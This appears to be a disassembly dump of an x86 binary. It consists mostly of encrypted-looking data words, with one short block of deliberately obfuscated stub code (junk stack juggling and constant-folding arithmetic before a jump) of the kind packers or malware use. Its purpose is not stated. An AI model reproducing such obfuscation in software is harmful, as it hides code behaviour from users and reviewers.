dd 0FF36FF00h, 6963995h, 0C6835E06h, 3E8304h, 0C361EC75h
dd 71B58BF9h, 8D06032Eh, 6975985h, 1D858906h, 0E806032Ah
dd 7, 4EDE12B5h, 0F85176Ah, 665AD8BFh, 0C281DA8Bh, 5D4Bh
dd 5ABEC68Ah, 8118BB72h, 44A4D3C6h, 8D8B60E7h, 6030F09h
dd 617DD180h, 9D8B0A8Bh, 6030ABDh, 0BC21C181h, 38B3445Ah
dd 0FE02F181h, 0BF6676EEh, 0C18103D1h, 475D06F9h, 2155850Bh
dd 0A890603h, 1CCD858Bh, 0EA830603h, 89B58901h, 4A06032Dh
dd 0BF0F4A4Ah, 1EE83C2h, 0D850Fh, 8B660000h, 21E9FEh, 0F2FA0000h
dd 66E544A7h, 57E6E081h, 0FFFFA3E9h, 0CF959CFFh, 0BE4F1A31h
dd 0FCE75B76h, 35F4BBC2h, 0E97528F2h, 0E5h, 0FFEE4D10h
dd 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh
dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h
dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
dd 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h, 0F2FD54A7h
dd 68689143h, 0D9FE92Fh, 2D680000h, 0E906069Ch, 0FFFCE441h
dd 69D2668h, 0E437E906h, 1768FFFCh, 0E906069Eh, 0FFFCE42Dh
dd 69EFA68h, 0E423E906h, 8668FFFCh, 0E906069Fh, 0FFFCE419h
dd 6A01B68h, 0E40FE906h, 7668FFFCh, 0E90606A1h, 0FFFCE405h
dd 6A25868h, 0E3FBE906h, 2E68FFFCh, 0E90606A3h, 0FFFCE3F1h
dd 6A40968h, 0E3E7E906h, 0F968FFFCh, 0E90606A4h, 0FFFCE3DDh
dd 0BA2ECFA2h, 2FBD46D7h, 590FB45Ah, 0C99F20F4h, 7A6E9364h
dd 78194D88h, 0E8881D73h, 5E3C81C7h, 0CBA23755h, 9B1FA62Ah
dd 858168Fh, 19DA6A71h, 0ED68432Ah, 9F03E6Fh, 5C61345Bh
dd 9AF2590Ch, 0A426337h, 0BB2DD6A7h, 2EBE3FD6h, 2393C77Dh
dd 3414CE88h, 770EEC9Bh, 0EC29A286h, 0C097770Eh, 0EB10E2C1h
dd 489CA01Ch, 0A5E5F36h, 9318F98Ch, 16F9ECF9h, 1692F791h
dd 0A6C0DEA9h, 11F24482h, 0A86D3275h, 0DF78D0DFh, 5D710B96h
dd 5004E98Eh, 2DB0D8A7h, 7927A54Ah, 0EEFE0394h, 85687DFBh
dd 0A5FE97B3h, 9742710Bh, 9EA615C2h, 0E9740C5Dh, 0F1B957FFh
dd 0AA4B710Ah, 85B83CCBh, 0C453D308h, 54593984h, 2DA68234h
dd 93710BA2h, 5185BFC4h, 3C60DCE1h, 0E46F8E51h, 9A6E2CCh
dd 9040D971h, 29BC710Bh, 0AE573E53h, 355B26C7h, 0A028CDA0h
dd 0FDB53ADDh, 906EE743h, 95B5710Bh, 710B90FCh, 2FBA9540h
dd 0AA6A3951h, 0A4492C66h, 10997B0Ah, 5FB1A778h, 108CB9F0h
dd 8831C685h, 3DDE582Ch, 25D2EAB7h, 0DBE84472h, 936A08C1h
dd 4E6F03E2h, 58DE8F2h, 3FCE0000h, 59DA5657h, 2AA2432Ah
dd 590FB047h, 2D45632Eh, 5A32B758h, 53F7B10Fh, 7512007Dh
dd 32AB7F3Bh, 8E710BE0h, 0D9A44D23h, 0E29C1A72h, 0E0870028h
dd 66F5710Bh, 0BE0AD26h, 0E8441371h, 0BE043C0h, 0F53C171h
dd 6A3E1329h, 77CC93h, 0F06F0000h, 0FB94B485h, 41770EF0h
dd 92730F9Ah, 0F194F4FDh, 0D0833D7Bh, 32E06C8Fh, 0EBC3B933h
dd 75113359h, 0B952F6B0h, 60710B13h, 0B134FC8h, 0E73EAD71h
dd 90D3F3BAh, 8C1BFC70h, 24A1130h, 0B615DFAh, 550FAB71h
dd 0B615CF5h, 7D35A071h, 0B6134ADh, 67DD8871h, 0A25C0F53h
dd 0B620D86h, 7A1C7371h, 0E7721771h, 0C3223A09h, 0F3DD9369h
dd 9B000000h, 248029CAh, 0A2432AAFh, 0D5475304h, 62E922Eh
dd 0ED6A922h, 0F5401777h, 0ED826F7Fh, 563984C4h, 0DE813751h
dd 0EA9B2E3Eh, 2CC281CCh, 0B1442987h, 0FCA1720Ch, 0DAECB56Ch
dd 4595F977h, 770E3A57h, 3612E689h, 770E399Dh, 0C5EE8CE3h
dd 1DD7937Eh, 0E39940Dh, 457DE877h, 0E396CE5h, 0AF05D077h
dd 1E9F76DBh, 504E394Eh, 4AA83216h, 0C3967511h, 9B72138Dh
dd 66119E1Ah, 91742E48h, 0F491FB00h, 0C2ADA3A3h, 2480BE59h
dd 94BF604h, 0B9F1646Fh, 0B24740D4h, 0BF2AA209h, 11E687C1h
dd 8011E4E8h, 26C7387Bh, 0F29AE6D4h, 9D11Fh, 73740700h
dd 0C6EB881Dh, 50593F82h, 20C5A93Ch, 0B338D9ACh, 0F2A857DDh
dd 6DF0941Dh, 9164688Dh, 7EAFE03h, 78194F70h, 5471EA3Eh
dd 3DCF7108h, 8A6C01BEh, 11E68B61h, 0AB3AE4E8h, 39AC3CC5h
dd 0A6472E43h, 85F0B122h, 0CE914B67h, 447AC979h, 0FF4B678Ah
dd 770E7B66h, 99B10FDAh, 75118AE7h, 9D8E6302h, 0F792FAFFh
dd 26B58C68h, 8D019EA6h, 110F710Bh, 0EDD1EBCDh, 0C68E9369h
dd 0EC000000h, 0D8B8D92Bh, 52254596h, 0C3AE3BADh, 432AEE65h
dd 335304A2h, 7EFD9289h, 8429C99Ch, 1CFD4028h, 3F2DF597h
dd 9A770E8Ch, 2A2DFF9h, 99D19296h, 0E6818B1h, 7BF16477h
dd 6A7E7F16h, 0B035D9ACh, 39BE5134h, 4F6D18AFh, 788D1733h
dd 24B37511h, 7E7C07A0h, 29A28640h, 97710B52h, 1E2A64C0h
dd 6F08EE01h, 3FCEE87Fh, 0AE33515Ah, 6A8120C9h, 0EFE6D4F0h
dd 8D8C21Fh, 6D0C0000h, 0E4B10448h, 522489DFh, 0BE563BA9h
dd 31C6AB39h, 0AF6EC488h, 0FFED16FBh, 6361866Ah, 91F7FC9Eh
dd 44690Ch, 78113971h, 0C4710853h, 452AB734h, 0B46E28BCh
dd 0EF0FB94h, 0DC9A4177h, 0EF0D34Ch, 0C6A22977h, 0A52BCCA3h
dd 0A2432A3Eh, 0FB0472Ah, 6C0EDF59h, 0E4400547h, 8AF57545h
dd 1181526Ch, 6F57905Dh, 313050A8h, 0E97463D3h, 52E079D1h
dd 895C770Eh, 0FFD57533h, 0DA75116Ah, 0F40F8D39h, 229E4733h
dd 61195403h, 0B10A83A7h, 0E376710Bh, 0A4822505h, 0DDA8A6C3h
dd 5DF6520Ch, 0A37E43BCh, 0BC7B1434h, 1AC17E43h, 7157F38Fh
dd 0A87C46D5h, 0D8B035C5h, 0B31E378Dh, 0D1B4D4DDh, 8FD9DEB2h
dd 6A1D4FDAh, 4E9811Fh, 158E9A72h, 6B7846D5h, 0DD9B11FCh
dd 44C21C4Dh, 0ADC59076h, 0DCB035D8h, 6E01A649h, 1E1CAC05h
dd 0E7D934D4h, 3D000007h, 0A60B595Eh, 0D5B82CD5h, 472ABE43h
dd 0F75A0EAFh, 79CB9922h, 0E207E8BEh, 76771BEEh
dd 0C4ED8F12h, 555A3D80h, 286E37h, 71085287h, 1A043F5h
dd 8D6B8C6Ch, 846815F8h, 0F0FF98B0h, 0EE7D770Eh, 93D4B403h
dd 9F5A32E8h, 7D57E1F6h, 513B869Ah, 3911A934h, 751158FFh
dd 0DBA2EBDh, 0FBFC9C82h, 0B098526Ch, 710B5B17h, 0FF93F665h
dd 8A4402FEh, 5A5F3DD0h, 0DC755732h, 47710B5Ah, 0B5A6AE3h
dd 3D671h, 49CFDF55h, 0A76F09E1h, 977630h, 7104E9FFh, 206B1C4Ch
dd 7301E482h, 3E48B584h, 268DD81Ah, 6F3C0C4Ah, 2D7507D5h
dd 8A6D00BEh, 0FB926765h, 772E1630h, 412CA887h, 0EB34429h
dd 0DDAD0B5Eh, 0C0BDFAAh, 0FE4B7585h, 41E9816Ch, 6F0E0133h
dd 287B3AA1h, 0F5E6D22Dh, 704F815h, 41D00000h, 0B84528BCh
dd 26C85D33h, 927ACF9Dh, 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh
dd 37555A3Eh, 0A52BD0A2h, 0D4B83DD0h, 0A43D0D8Dh, 18710852h
dd 6C018B68h, 94646B8Ch, 5F2A9513h, 0B3442941h, 54F4B20Eh
dd 750D787Fh, 5610AE3Dh, 66C2E3B7h, 0DCB36C03h, 0B5184CDBh
dd 0FC8BDDE2h, 31B9D991h, 45B71E18h, 502DC0FEh, 21A421ABh
dd 0A722AA4Fh, 2D58FC9h, 1718DE8Bh, 0C6E6429Ch, 6F0B76ACh
dd 0EB2C4712h, 0AEE6D7B7h, 67803DEh, 0CDAC0000h, 44D1A428h
dd 0B24429BFh, 1EF65B09h, 9166CB99h, 4F8E6468h, 1F4D761Bh
dd 83C1E68Ah, 31575C3Eh, 0A024C9ACh, 18B19911h, 64710852h
dd 85F017D4h, 0D2BA4B67h, 0F0B12AFEh, 580F770Eh, 113977CDh
dd 750D776Bh, 816402C9h, 369BC9EEh, 790E5E5Fh, 668B680Eh
dd 9E4BDF9Bh, 1A6F06DFh, 0BB52334Fh, 2CC3563Ah, 0DBA6C18Bh
dd 28EBA5DDh, 0A370E721h, 0C3E5791Eh, 34426AC6h, 0C57511B1h
dd 0B2A63F0Bh, 4F1A710Bh, 6A05D0F1h, 0E0D1FD27h, 0E3FF12FAh
dd 31000005h, 0BA0F5D62h, 29BCD0D9h, 5B2EA247h, 0CB5E32B3h
dd 65CF9D26h, 0E60BECBAh, 7A7B1FE2h, 0C8F18316h, 595E3184h
dd 1C2C6A0Bh, 71085083h, 2AB437F9h, 6104A243h, 0F9916F94h
dd 0B6F29C3Fh, 23C39853h, 0A84D2045h, 0E2008B24h, 0AA4F21C4h
dd 8FC9A722h, 1143E5BBh, 0C13C475h, 22C35717h, 869A3FAAh
dd 6A4B21CFh, 0EC10C3FFh, 0AD784D1Fh, 4800A94Bh, 3CD3B61Dh
dd 38B4D1BBh, 7207E650h, 0EE4A1F49h, 0B5A41DEh, 5A2BCF71h
dd 0D24BDFB5h, 2E710B5Ah, 0E3BC2CBBh, 0FD986A09h, 6119E49Ch
dd 0B6850C9h, 4339AC71h, 374D2B7Fh, 6C9369C6h, 70FD96B2h
dd 673D710Bh, 3CE602C3h, 5DDB8E81h, 207Fh, 85F0F800h, 4DFF4B67h
dd 0C37511FFh, 2FAC7414h, 0FD710BDFh, 0FF051347h, 0F8936A40h
dd 0BAh, 0A2432A7Bh, 9B2472Ah, 6234D95Fh, 0DE5A0F59h, 89C3E48Bh
dd 0C0545124h, 0EC3C503Fh, 770EEDFEh, 0DDE28A5Bh, 0F62DE8Bh
dd 0BC014768h, 0F3B4D4D9h, 0FC4C6A88h, 75120ACEh, 0BCCB994Ch
dd 77462BD1h, 2AA94E58h, 0AB369D65h, 0C1263B0Fh, 77E26F08h
dd 63C7813Bh, 7708A0EAh, 40258356h, 9821F2AFh, 93C495F0h
dd 4D8D142Ch, 0BE03412Ch, 0AC91D0D9h, 2DE6D484h, 488805Dh
dd 0BD5C0000h, 34C15438h, 0A274D98Fh, 0EE64B19h, 8116FBE9h
dd 5F9E1478h, 0F5D660Bh, 0B3D1D6BAh, 21A74C2Eh, 5034B95Ch
dd 28A18901h, 9471084Fh, 452A07E4h, 9F6E28BCh, 0F194F4FDh
dd 7E7F167Bh, 85F0696Ah, 0FC914B67h, 0D1D9B1Ch, 7511FF7Bh
dd 0DA626AF1h, 710BDF3Dh, 170155CBh, 936A410Dh, 0D1CAh
dd 6C017500h, 60656788h, 0E90EE184h, 747D12FFh, 0EDDECC14h
dd 7D10770Eh, 0DBAA1478h, 50C96133h, 0AC770EEDh, 7C3A5239h
dd 0EED33ACh, 77C28977h, 6E7E8310h, 5E8FD7Bh, 0B4DFE8E0h
dd 0C4842DCEh, 0AC7C3A81h, 75120A9Eh, 9D1B491Ch, 0C98324C8h
dd 8126C99Ch, 992682C7h, 0FCB6F0EEh, 8B618669h, 96B8DA3h
dd 0D2A40B6Fh, 5F2ABF29h, 4AD4223h, 971CFD40h, 0D44E65DCh
dd 7D9078E6h, 3A6h, 4A1E9F72h, 0FFED16E7h, 697F846Ah, 99CFF084h
dd 0A5E6334h, 48297DB8h, 0B8582DA3h, 2ECC5137h, 9B72C785h
dd 6B2F761Ah, 84E46DFh, 690ABA71h, 28BC452Ah, 4ADEB245h
dd 770EF0D1h, 616B8C63h, 0D3BE2D64h, 9E1FF697h, 3DD04E22h
dd 5633555Ah, 432A59DAh, 8F6104A2h, 0EFF9FE92h, 98786FFAh
dd 6CF19917h, 59606489h, 0A273126Fh, 0F0E57ECAh, 8C5B770Eh
dd 4622A721h, 56108EF9h, 12091CF2h, 0E743FD75h, 710BC16Eh
dd 88A907D2h, 6186A6DDh, 49CD18B4h, 2206A03Eh, 0D2DBC714h
dd 0F89BD782h, 729CB90Bh, 0EB10E1ABh, 0BFC8A01Ch, 0F598D6D4h
dd 9BCE9E23h, 96C7631Dh, 0AD0D789h, 0AB42235Fh, 0F09821F2h
dd 0F75A0E95h, 4BE49F20h, 8E44E1E4h, 2D063FEh, 75040000h
dd 0EC891C70h, 5A3C81C7h, 0C6AE3351h, 39DEA321h, 0A756DCB0h
dd 0F7951EF3h, 7B698E62h, 0E9FF0496h, 184C7104h, 70E94179h
dd 0CC71084Dh, 6C01BF3Ch, 0FB8E6A8Fh, 3FF99314h, 0A626C7AEh
dd 0F0BF58F0h, 0AE3D770Eh, 700EBEC3h, 0D91E926Bh, 0BA9D463h
dd 4DDDB6Fh, 8C5B7511h, 35BDB1D8h, 0CB2A664Ah, 4D9C6E47h
dd 4507ACh, 0D6902EB5h, 0E25E5F37h, 0EAA14CAh, 573F926Fh
dd 802CA585h, 0C590770Eh, 0EC7B6E7Eh, 0CB5F19D1h, 770E8052h
dd 6DBD3BAEh, 0EA845B7Ch, 0BA8E5B26h, 0BA80D221h, 457DC89Fh
dd 83EB1FE5h, 1E4E1DB8h, 0E6801E69h, 0F7EE6B2Ch, 66265D17h
dd 0C871A28Ah, 0B82FBA7Fh, 67886FFEh, 2D90884Bh, 56EA2F1h
dd 9F76DBAFh, 5BF0671Eh, 75155A59h, 1F598h, 0AF502300h
dd 22C75439h, 8C35DBAEh, 1CA175D8h, 0EF14E548h, 9ECC0BF9h
dd 99CF0F9h, 0BD004469h, 23B6DADFh, 9C25AB4Ch, 4C950E1Ah
dd 59EB7108h, 68432A9Ah, 798A9E79h, 0DA53032h, 4EA9778h
dd 0F49410FFh, 24CDA342h, 0FC4B21A4h, 0F3571391h, 75111689h
dd 5D6C60F7h, 1F9DE86Ah, 5BEFA963h, 710AF8C2h, 0FDCDAB3Eh
dd 6F0E1127h, 7F3B76E5h, 801D0AEEh, 0E974117Bh, 12E7EAFFh
dd 0EEAFFE9h, 0E075C53Eh, 0FCA2EDEEh, 68E1491Fh, 0D4BE1CB5h
dd 4FD2BA01h, 0D0BF0AABh, 0CECCB296h, 38CDBC1Fh, 0F8D95758h
dd 28BD7B6Dh, 37B85845h, 0CFA520A8h, 0DB971560h, 0DD900921h
dd 79ECB81Dh, 3465C583h, 8FB61BCBh, 594458CCh, 0A50377E8h
dd 2C6B138Ch, 0D78DF4FAh, 0B85F2E48h, 388728CFh, 0E708EF7Eh
dd 0FD906509h, 4B5CB9F8h, 0ED7D5E25h, 10570h, 0BF40D300h
dd 32B74429h, 9C25CB5Eh, 6C9165C8h, 0FF049578h, 8EDC1BE9h
dd 398CC0E9h, 0AD305459h, 0D3A62ACFh, 8CD5BB3Ch, 4CA53E0Ah
dd 691B7108h, 0E347018Ah, 770EF06Ah, 0C0A503D6h, 189D702Dh
dd 0DE8E1570h, 0A6C0DEA9h, 727719ECh, 0C2E3B71Ah, 0D3D1F977h
dd 617511EDh, 0ED880129h, 61F4710Bh, 0CEB9F69Ah, 9DC96D0h
dd 0A4094368h, 0EA462DD6h, 0A7434C2h, 7B37A26Fh, 0ECFC05EAh
dd 14B7001h, 6B03F944h, 9ACEEF86h, 0D5F6037h, 5F8FBDE5h
dd 0E1350B5Eh, 8921C6A9h, 9C3515CFh, 0E04DA39Bh, 9BBA5375h
dd 53064DA3h, 492CB1D5h, 904A477h, 1E5D556Dh, 0A3AA950Eh
dd 917CEB4Dh, 0AE826AF7h, 0A3AB019Ah, 1DE87F4Dh, 0F82C004Bh
dd 0DE77D38Dh, 224DA3AAh, 0C15439B7h, 0DE3823Ch, 0BE1E4E4h
dd 2FB9267h, 90F8476Ch, 197Dh, 0BE924500h, 46EA1316h, 1B83BB1h
dd 0F06AE347h, 0F49A770Eh, 0AB01D4CFh, 472AF4EFh, 0B45B26A6h
dd 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h
dd 42D4B9D3h, 0B1422FB9h, 530B4008h, 0C381E389h, 4, 3304EB83h
dd 1C31241Ch
dd 241C3324h
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 5BC8h
mov [esp], edx
push ebx
push eax
mov eax, 151A1918h
inc eax
sub eax, 618F3A91h
not eax
or eax, 332468F2h
add eax, 8315A61Bh
mov ebx, eax
pop eax
mov esi, 37B8976h
add esi, ebx
pop ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebp
mov ebp, esi
mov [edx+8], ebp
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5439D9
; ---------------------------------------------------------------------------
db 0E8h, 0E6h, 0A9h
dd 57F987A1h, 0A623B8B2h, 0C5030606h, 851CE0FFh, 323F65F1h
dd 0D046129Dh, 0F4473D3h, 0CF4A3083h, 0E53243EDh, 0E81575Bh
dd 1A063F0Bh, 149F3878h, 9B2D1504h, 0E84830D6h, 0F4E53813h
dd 0AA623028h, 0F0EF2892h, 2E880A6Dh, 9E4F0FC7h, 7ABC4F64h
dd 0EE035C3Fh, 25472D59h, 3C92499Eh, 18B7036Eh, 807E5502h
dd 44B717E1h, 847A50CFh, 97F003A1h, 39EB0E2Fh, 0BF0000h
dd 0BF02CCh, 0BF02E4h, 0
dd 468DA266h, 7794AE4Eh, 2385A6EDh, 4E8EA235h, 4F84E54Ch
dd 77AECBFCh, 23AC870Ch, 53AFBF6Ah, 4BB4A577h, 4781AE7Bh
dd 238AAB84h, 23E32314h, 7DC0CB21h, 57699553h, 6761CF6Ch
dd 23F6CF00h, 75A6CB12h, 2B002BCAh, 238A0B0Fh, 23E32315h
dd 7CC0CB21h, 5F699453h, 6761CF6Ch, 23F5CF00h, 74A7CB12h
dd 45B69DCAh, 7F791105h, 33D976C1h, 56E0CD22h, 3E5D4899h
dd 23E6C859h, 70B0D250h, 9A580B99h, 0AAE0CB0Dh, 20F7BE01h
dd 0B27D4644h, 0DCE6CE91h, 0A0B89043h, 20F1D6F5h, 3494CB22h
dd 9A589842h, 0AAE0CB0Dh, 20F7BE01h, 0A37D4644h, 0DCE6CE8Ch
dd 0A8B89043h, 20C296C5h, 70E0A122h, 23E0C8FAh, 0E0BBEB09h
dd 7BC42DFh, 7A44A46h, 23E0D025h, 0E0B38890h, 0B3CFEB9Fh
dd 6BCC8EA4h, 23E0491Dh, 0E36BCB09h, 23E14E8Bh, 0E518CB42h
dd 20CFF2A4h, 0A6C99D96h, 25E3D435h, 13D57EADh, 788CD11h
dd 0CBD1A4FDh, 23E0CB88h, 209EA0DFh, 3147FBA8h, 0D4D41478h
dd 7933402Eh, 0DC4CFA5h, 498BF3D6h, 20089C09h, 3E0CB84h
dd 0AABF081Dh, 0A2E4EF5Dh, 37E4EFD4h, 64E0CB48h, 0CA380873h
dd 23E0CB1Dh, 6DA692CBh, 0FB6741E6h, 0D0846A36h, 0DC030709h
dd 20C80225h, 73E0A14Eh, 23E0C8CCh, 0E0B8EB12h, 7A44251h
dd 7A44A80h, 23E0DF46h, 0E0B08B21h, 825542ECh, 0AEE6C852h
dd 259377A1h, 76E0A114h, 23E0C8E1h, 0E0BDEB84h, 78C421Fh
dd 7A44A25h, 23E0D694h, 0E0B58E48h, 439BC688h, 46FE8518h
dd 0F31F913Eh, 0CBB2CBEEh, 23E0CB41h, 79239101h, 27C49F19h
dd 27C48FC9h, 23E0CB3Fh, 27239950h, 4CC16815h, 0A8911CA4h
dd 20EBEEFFh, 8A55E227h, 49E6C8BCh, 72E0A14Ch, 23E0C8CCh
dd 0E0B9EB12h, 7AC4250h, 7A44A80h, 23E0D046h, 0E0B18A21h
dd 31F011FAh, 44FB6E23h, 0DE654244h, 2CE6C80Dh, 23E0CD8Eh
dd 27D4284h, 42E6C861h, 0B195EC49h, 23F0236Fh, 7BBACB48h
dd 29FC56BAh, 0F78576F0h, 4BFD3652h, 0A2BE0DA5h, 0B939EF46h
dd 238ACB4Ch, 23E323C5h, 7EC0CB48h, 4F6996E7h, 6761CF36h
dd 23FBCF2Dh, 76A5CB84h, 0B6316981h, 389FD303h, 0ECE7501h
dd 2708D8E7h, 0CFE0CB24h, 0CAE0CB10h, 23E0CB1Bh, 2E2A00EAh
dd 0D3E52FFBh, 0D488A81Dh, 0B264A18Dh, 73B07896h, 247D7476h
dd 12EF957Fh, 676B9353h, 2C80CFA0h, 23E0CBCAh, 423A4021h
dd 0A2EFCB1Bh, 23E0CB4Eh, 0AA59AD76h, 676992AEh, 73B3CF2Dh
dd 0E96BADD6h, 9D86FA4Dh, 7BBAAC93h, 2B0993CAh, 88E0CB48h
dd 70AA0CB9h, 498446E6h, 0F65EAD09h, 2C303450h, 23E0DDC1h
dd 3367C421h, 0CBE0CB90h, 23E0CB42h, 725E7B8Ch, 0F76FCAFDh
dd 0AABABDECh, 2547E301h, 165D4044h, 0A8E6C809h, 212CCE68h
dd 0A669CB48h, 25E66C08h, 0AAF80B91h, 2547FB8Ch, 9A20F882h
dd 23E0C9AEh, 0C86A61D2h, 23E3449Fh, 0A886CB48h, 1A650DEEh
dd 60E6C83Dh, 0CBB2CB63h, 23E0CB87h, 79239162h, 27C49FA8h
dd 27C48F11h, 23E0CB5Ch, 84239966h, 39415E9Bh, 2708CD0Ah
dd 7DE0CB84h, 457CAC29h, 0A8B001AAh, 43E4EFD4h, 310935C2h
dd 0B6E0CB24h, 0E2877F4h, 986D1E02h, 5F13B30Dh, 29CC543Dh
dd 236BAAB3h, 0A88699C0h, 0CAD1C49Eh, 23E0CB37h, 4D68C339h
dd 6A5D5571h, 0F8BB01C5h, 48012119h, 7955A023h, 7A442C8h
dd 23E5234Ch, 5145CB24h, 0A87F7C1Bh, 49B891C2h, 20089C84h
dd 3E0CB42h, 0AABF087Eh, 0A2E4EFECh, 39E4EF0Ch, 64E0CB24h
dd 0F6E30845h, 0E980F0BCh, 0EA553430h, 49E6C86Ah, 20089921h
dd 3E0CB90h, 0AABA0812h, 0A2E4EF70h, 35E4EF56h, 61E0CB09h
dd 0A4E308D6h, 0C961AD39h, 0A66D4F18h, 25E6B82Ch, 0CBB3CB22h
dd 23E0CB27h, 78239032h, 27C49780h, 27C48F05h, 23E0CB57h
dd 3C239862h, 0CA303423h, 23E0CB58h, 5EA69DD3h, 38BA2FDAh
dd 397D6FEBh, 0ACB0D767h, 33F57649h, 0A669CD22h, 25E3D9ADh
dd 23E64447h, 0F961CB24h, 26F7463Ch, 23654E84h, 9E6BCD87h
dd 25E3C753h, 2F294EA8h, 94EFCD93h, 1A650D99h, 70E6C80Bh
dd 0A8137C1Dh, 20F4C6BCh, 0ABACA382h, 2761748Dh, 0C2204705h
dd 76E0A1ACh, 23E0C8A0h, 0E0BDEB24h, 78C424Fh, 7A44A0Dh
dd 23E0D080h, 0E0B58E42h, 26F23966h, 0F7BC944Eh, 2B4D76C3h
dd 961FCD27h, 25E3E3DBh, 0AE862689h, 25937701h, 75E0A144h
dd 23E0C8C9h, 0E0BEEB90h, 7944216h, 7A44A20h, 23E0DD16h
dd 0E0B68D09h, 0CA3C1837h, 23E0CB52h, 0B8169B2Ch, 1F634F5Ch
dd 0EDE80A4Ch, 0AC4B2E07h, 238A1BEDh, 23E3235Bh, 79C0CB84h
dd 77699181h, 6761CF05h, 23FBCFB4h, 71A2CB48h, 0BA2ED5E7h
dd 1CB94641h, 23E522F4h, 7118CB84h, 0AA463769h, 20FF72A4h
dd 9886AB96h, 2809ED3Ch, 0E4E0CB24h, 872D6E9Fh, 30BD0CFFh
dd 0E581AD9Ch, 20CFF2C7h, 238A9827h, 23E323C6h, 7DC0CB48h
dd 576995E7h, 6761CF36h, 23F5CF2Dh, 75A6CB84h, 0AA183081h
dd 20C2069Ch, 23E42396h, 0E753CB48h, 9A5A133Ch, 73AF8B17h
dd 0CBE17B69h, 23E0CB95h, 0F48EAADBh, 0B0D7FFBEh, 57CAE158h
dd 201B4383h, 78BA9A10h, 7A44073h, 23EA230Dh, 0DF4FCB84h
dd 0D7204388h, 0DEABADD9h, 0D26BADC0h, 236B9512h, 27C48FADh
dd 23E0C3FAh, 16D1FB09h, 5971A329h, 2CB89448h, 505F0096h
dd 0DCC9B9A3h, 20C802FDh, 71E0A122h, 23E0C8FAh, 0E0BAEB09h
dd 7B442DEh, 7A44A46h, 23E0DC25h, 0E0B28990h, 4DA6B22Fh
dd 0A66D05AFh, 25E6B8AEh, 23E0D8E0h, 12EDF984h, 1C7FC38Ah
dd 481938C2h, 0F0BFF06Ah, 3F302180h, 0A8861BDBh, 266542EAh
dd 0CBE6C827h, 23E0CB88h, 0C90AB133h, 980A7E5Bh, 7F07300Ch
dd 30E556C1h, 0E5BFCD27h, 20CFF297h, 0F26B8C0Fh, 23E0CF6Ch
dd 0FD3D6242h, 0A8809B96h, 2D09AB57h, 0B8E0CB48h, 4A3F380Dh
dd 61F43A95h, 23171E9Ch, 0A881AA17h, 43E4EF06h, 23E0D9C9h
dd 42018B90h, 0B1F1D92Eh, 0B89017B5h, 0D5586EA4h, 45CF0EBAh
dd 70BA3C0Fh, 23E0CDAAh, 0B64D1B21h, 7AB9E686h, 236BAA17h
dd 517A619Eh, 7A44214h, 2CB29B0Dh, 23E0DB0Eh, 23EB2242h
dd 0A3B4CB21h, 0EA487FC9h, 5BFFC91Fh, 0CAD1C49Dh, 23E0CB02h
dd 0B0EB089Bh, 415A83D8h, 0F7CB41BCh, 0D2FE0990h, 2CB893CAh
dd 961F3DFFh, 25E3E3EDh, 23E0C2FBh, 17472909h, 4824801Bh
dd 0A66D07A5h, 25E6B89Dh, 0CBB2CBFAh, 23E0CB4Bh, 79239104h
dd 27C49F9Bh, 27C48F88h, 23E0CB9Ch, 70239900h, 0DFC2DAA3h
dd 4533749Fh, 0F31F31C3h, 0CBB1CB4Eh, 23E0CB11h, 7A239229h
dd 27C4870Dh, 27C48FC3h, 23E0CB3Bh, 29239AD1h, 0A68CA33Ah
dd 0AED18EDDh, 25E3E533h, 0AA1F7406h, 20E4FA01h, 0A6263244h
dd 25E3E418h, 72E0A1D7h, 23E0C8A0h, 0E0B9EB24h, 7AC424Bh
dd 7A44A0Dh, 23E0D780h, 0E0B18A42h, 3D848DFEh, 16CFE033h
dd 23F42273h, 0F6EFCB24h, 0B6D6C38Bh, 0EF881968h, 67E41A27h
dd 0C312B622h, 3288B90Bh, 0CAD366C4h, 23E0CB5Bh, 8CCA5D0h
dd 77085A14h, 1ED2A50Bh, 5C26F0E7h, 0A20654BBh, 9F89EF25h
dd 238A85BEh, 23E3231Dh, 7EC0CB24h, 4F6996D1h, 6761CF2Dh
dd 23F5CFA0h, 76A5CB42h, 0DC0E3BE2h, 20C80225h, 72E0A14Eh
dd 23E0C8CCh, 0E0B9EB12h, 7AC4250h, 7A44A80h, 23E0DC46h
dd 0E0B18A21h, 0EF352338h, 2B194EC1h, 0A66DCD27h, 25E6B8AEh
dd 0CBB1CB63h, 23E0CB87h, 7A239262h, 27C487A8h, 27C48F11h
dd 23E0CB53h, 65239A65h
dd 7A0A4898h, 43F580D7h, 3FA5460Fh, 0A8EFCD41h, 23E0CB24h
dd 2021D82Fh, 3208AA40h, 0F6E0CB24h, 9B4C1F2Ah, 0DA1E081Eh
dd 515DFACCh, 747BE433h, 4930347Eh, 20089D90h, 3E0CB48h
dd 0AABE087Ah, 0A2E4EF66h, 3AE4EF4Dh, 65E0CB84h, 6FF0814h
dd 244F7D74h, 7654619h, 0A669CD4Bh, 25E3C859h, 0CBB6CB78h
dd 23E0CB0Ah, 7D2395A4h, 27C4BFCBh, 27C48FA0h, 23E0CB87h
dd 0A5239D0Eh, 0A85DF147h, 20D12A9Fh, 1A650D0Fh, 64E6C8ABh
